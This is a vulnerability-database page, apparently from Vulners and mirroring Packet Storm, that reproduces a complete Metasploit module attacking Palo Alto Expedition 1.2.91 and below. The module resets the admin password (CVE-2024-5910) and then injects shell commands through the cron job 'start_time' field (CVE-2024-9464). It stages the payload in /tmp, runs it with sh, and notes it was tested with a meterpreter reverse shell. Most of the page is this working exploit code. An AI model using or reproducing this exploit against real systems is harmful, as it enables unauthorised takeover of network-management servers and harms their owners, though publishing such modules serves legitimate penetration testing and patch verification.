Lucene search
K

Palo Alto Expedition 1.2.91 Remote Code Execution

🗓️ 13 Nov 2024 00:00:00Reported by Enrique Castillo, Zach Hanley, Michael Heinzl, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 467 Views

Palo Alto Expedition 1.2.91 Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Traccar 5.12 Remote Code Execution Exploit
24 Sep 202400:00
zdt
0day.today
Palo Alto Expedition 1.2.91 Remote Code Execution Exploit
14 Nov 202400:00
zdt
GithubExploit
Exploit for CVE-2024-24809
3 Sep 202409:56
githubexploit
GithubExploit
Exploit for CVE-2024-24809
3 Sep 202409:56
githubexploit
GithubExploit
Exploit for OS Command Injection in Paloaltonetworks Expedition
9 Oct 202416:36
githubexploit
ATTACKERKB
CVE-2024-24809
10 Apr 202415:16
attackerkb
ATTACKERKB
CVE-2024-5910
10 Jul 202400:00
attackerkb
Circl
CVE-2024-24809
26 Aug 202414:44
circl
Circl
CVE-2024-5910
10 Jul 202421:49
circl
Circl
CVE-2024-9464
9 Oct 202416:49
circl
Rows per page
`class MetasploitModule < Msf::Exploit::Remote  
  
class XsrfExceptionError < StandardError; end  
class XsrfExceptionUnreachableError < XsrfExceptionError; end  
  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)',  
'Description' => %q{  
Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below.  
The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data.  
When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Michael Heinzl', # MSF Module  
'Zach Hanley', # Discovery CVE-2024-9464 and PoC  
'Enrique Castillo', # Discovery CVE-2024-9464  
'Brian Hysell' # Discovery CVE-2024-5910  
],  
'References' => [  
[ 'URL', 'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/'],  
[ 'URL', 'https://security.paloaltonetworks.com/PAN-SA-2024-0010'],  
[ 'URL', 'https://security.paloaltonetworks.com/CVE-2024-5910'],  
['URL', 'https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910'],  
['URL', 'https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464'],  
[ 'CVE', '2024-5910'],  
[ 'CVE', '2024-24809']  
],  
'DisclosureDate' => '2024-10-09',  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => 'True',  
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3),  
'FETCH_WRITABLE_DIR' => '/tmp'  
},  
'Payload' => {  
# the vulnerability allows the characters " and \  
# but the stager in this module does not  
'BadChars' => "\x22\x3a\x3b\x5c" # ":;\  
},  
'Platform' => %w[unix linux],  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Linux Command',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => %w[unix linux]  
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp  
}  
]  
],  
  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, ACCOUNT_LOCKOUTS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']),  
OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']),  
OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']),  
OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]),  
OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]),  
]  
)  
end  
  
def xsrf_token_value  
user = @username || datastore['USERNAME']  
password = @password || datastore['PASSWORD']  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bin/Auth.php'),  
'keep_cookies' => true,  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'action' => 'get',  
'type' => 'login_users',  
'user' => user,  
'password' => password  
}  
)  
  
raise XsrfExceptionUnreachableError, 'Failed to receive a reply from the server.' unless res  
  
data = res.get_json_document  
  
raise XsrfExceptionUnreachableError, "Unexpected reply from the server: #{data}" unless data['csrfToken']  
  
print_good('Successfully authenticated')  
  
csrftoken = data['csrfToken']  
raise XsrfExceptionUnreachableError, 'csrftoken not found.' unless csrftoken  
  
vprint_status("Got csrftoken: #{csrftoken}")  
csrftoken  
end  
  
def check  
unless datastore['USERNAME'] && datastore['PASSWORD']  
unless datastore['RESET_ADMIN_PASSWD']  
print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.')  
return CheckCode::Unknown  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')  
)  
  
return CheckCode::Unknown('Failed to receive a reply from the server.') unless res  
  
if res.code == 403  
return CheckCode::Safe  
end  
  
return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')  
  
respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto'  
print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")  
@password = respass  
@username = 'admin'  
@reset = true  
end  
  
begin  
@xsrf_token_value = xsrf_token_value  
rescue XsrfException::Error  
return CheckCode::Safe  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'),  
'keep_cookies' => true,  
'headers' => {  
'Csrftoken' => @xsrf_token_value  
}  
)  
  
data = res.get_json_document  
version = data.dig('msg', 'Expedition')  
  
if version.nil?  
return CheckCode::Unknown  
end  
  
print_status('Version retrieved: ' + version)  
  
if Rex::Version.new(version) > Rex::Version.new('1.2.91')  
return CheckCode::Safe  
end  
  
return CheckCode::Appears  
end  
  
def execute_command(cmd, check_res)  
name = Rex::Text.rand_text_alpha(4..8)  
vprint_status("Running command: #{cmd}")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),  
'keep_cookies' => true,  
'headers' => {  
'Csrftoken' => @xsrf_token_value  
},  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'action' => 'set',  
'type' => 'cron_jobs',  
'project' => 'pandb',  
'name' => name,  
'cron_id' => 1,  
'recurrence' => 'Daily',  
'start_time' => "\";#{cmd} #"  
}  
)  
if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason?  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}")  
end  
end  
  
def exploit  
cmd = payload.encoded  
chunk_size = rand(25..35)  
vprint_status("Command chunk size = #{chunk_size}")  
cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)  
staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/')  
  
if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD'])  
unless datastore['RESET_ADMIN_PASSWD']  
fail_with(Failure::BadConfig, 'No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again..')  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')  
)  
  
fail_with(Failure::Unreachable, 'Failed to receive a reply.') unless res  
fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')  
  
respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto'  
print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")  
@password = respass  
@username = 'admin'  
end  
  
begin  
@xsrf_token_value = xsrf_token_value  
rescue XsrfException::Error  
return fail_with(Failure::Unreachable, 'Failed to receive XSRF token.')  
end  
  
print_status('Adding a new cronjob...')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),  
'keep_cookies' => true,  
'headers' => {  
'Csrftoken' => @xsrf_token_value  
},  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'action' => 'add',  
'type' => 'new_cronjob',  
'project' => 'pandb'  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
data = res.get_json_document  
fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true  
  
# Stage the command to a file  
redirector = '>'  
chunk_counter = 0  
cmd_chunks.each do |chunk|  
chunk_counter += 1  
vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}")  
write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}"  
execute_command(write_chunk, true)  
redirector = '>>'  
sleep 1  
end  
  
# Once we launch the payload, we don't seem to be able to execute another command,  
# even if we try to background the command, so we need to execute and delete in  
# the same command.  
  
print_good('Command staged; command execution requires a timeout and will take a few seconds.')  
execute_command("cat #{staging_file} | sh && rm #{staging_file}", false)  
sleep 3  
  
print_status('Check thy shell.')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation